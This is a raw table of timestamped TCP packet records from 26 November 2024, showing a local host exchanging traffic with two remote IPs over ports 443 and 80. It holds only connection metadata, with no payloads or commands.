Nov 26, 2024 10:09:29.124911070 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.124949932 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.124995947 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.125037909 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.125629902 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.125629902 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.125632048 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.125632048 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.125648975 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.125648975 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.125658035 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.125658035 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.128953934 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.128981113 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.128988981 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.128997087 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.137732983 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.137784004 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.137880087 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.142061949 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.142110109 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.142309904 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.143059015 CET	49828	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.143078089 CET	443	49828	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.143480062 CET	49829	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.143495083 CET	443	49829	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.146411896 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.146426916 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.146531105 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.146667004 CET	49830	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.146678925 CET	443	49830	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.245508909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.250066042 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.250147104 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.250214100 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.250828981 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.250849009 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.250859976 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.250865936 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.254144907 CET	49831	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.254185915 CET	443	49831	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.254456997 CET	49831	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.254599094 CET	49831	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:29.254611015 CET	443	49831	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.508613110 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508645058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508655071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508694887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508707047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508723021 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.508725882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508740902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508750916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.508770943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.508800983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.508800983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.508869886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.517514944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.517584085 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.517599106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.517663002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.526518106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.526595116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.526652098 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.633940935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.633975029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.634037971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.634088993 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.700694084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.700819016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.700884104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.704520941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.704605103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.704638958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.704685926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.710726976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.710803032 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.710809946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.710901976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.718892097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.718959093 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.719028950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.719221115 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.728044987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.728060961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.728117943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.736506939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.736565113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.736643076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.736763954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.744210958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.744329929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.744333029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.744365931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.751739979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.751883984 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.751921892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.752460003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.759103060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.759171963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.759211063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.759257078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.767122984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.767215014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.767215014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.767261982 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.775402069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.775444984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.775454044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.775489092 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.825368881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.825450897 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.825474977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.825512886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.829413891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.829494953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.895076036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.895102024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.895158052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.898736000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.898787975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.898819923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.898861885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.906436920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.906492949 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.906538963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.906620026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.914392948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.914443970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.914520979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.914561033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.919126034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.919167042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.919181108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.919203997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.923489094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.923549891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.923572063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.923894882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.928713083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.928760052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.928762913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.928801060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.932214022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.932265997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.932312012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.932359934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.936707973 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.936785936 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.936835051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.936928034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.941521883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.941608906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.941689014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.941740990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.946327925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.946396112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.946445942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.951206923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.951262951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.951292038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.951389074 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.955451965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.955508947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.955569983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.955621958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.960439920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.960500002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.960535049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.960599899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.964030981 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.964078903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.964132071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.964188099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.967765093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.967853069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.967880964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.967892885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.971451998 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.971533060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.971556902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.971640110 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.975811005 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.975873947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.975950003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.975994110 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.979666948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.979757071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.979763985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.979806900 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.984144926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:29.984193087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.018938065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.019009113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.019048929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.019196987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.021042109 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.021092892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.021233082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.021286964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.025199890 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.025238991 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.025319099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.025374889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.029495001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.029540062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.029635906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.029678106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.033982038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.034039974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.087110043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.087152958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.087181091 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.087213039 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.088381052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.088510990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.089027882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.089132071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.089173079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.092324018 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.092358112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.092396975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.095289946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.095345020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.095387936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.095504045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.098268032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.098318100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.098318100 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.098361969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.101193905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.101252079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.101290941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.101334095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.104176044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.104219913 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.104263067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.104326963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.107012033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.107063055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.107099056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.107367992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.109886885 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.109935999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.109962940 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.109999895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.112524986 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.112556934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.112567902 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.112596035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.115295887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.115348101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.115390062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.115461111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.118428946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.118477106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.118501902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.118541956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.121320963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.121392012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.121433020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.123610020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.123682976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.123718977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.123759031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.126509905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.126555920 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.126585007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.126624107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.129143953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.129204988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.129220963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.129256964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.131963015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.132016897 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.132026911 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.132065058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.134852886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.134911060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.134917974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.134947062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.137475014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.137526035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.137635946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.137677908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.140189886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.140244007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.140284061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.140324116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.142976999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.143081903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.143085003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.143127918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.146117926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.146136045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.146178007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.148773909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.148900986 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.148947001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.150768042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.150943041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.150991917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.152832985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.152893066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.152906895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.153772116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.210401058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.210513115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.210568905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.211519957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.211571932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.211617947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.211661100 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.213052034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.213098049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.213099003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.213138103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.215054035 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.215120077 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.215148926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.215349913 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.216871023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.217004061 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.217083931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.217120886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.219373941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.219414949 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.219470024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.219501972 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.221806049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.221887112 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.221937895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.221972942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.224263906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.224318027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.224447966 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.224488974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.226387024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.226447105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.243011951 CET	443	49821	13.107.246.40	192.168.2.5
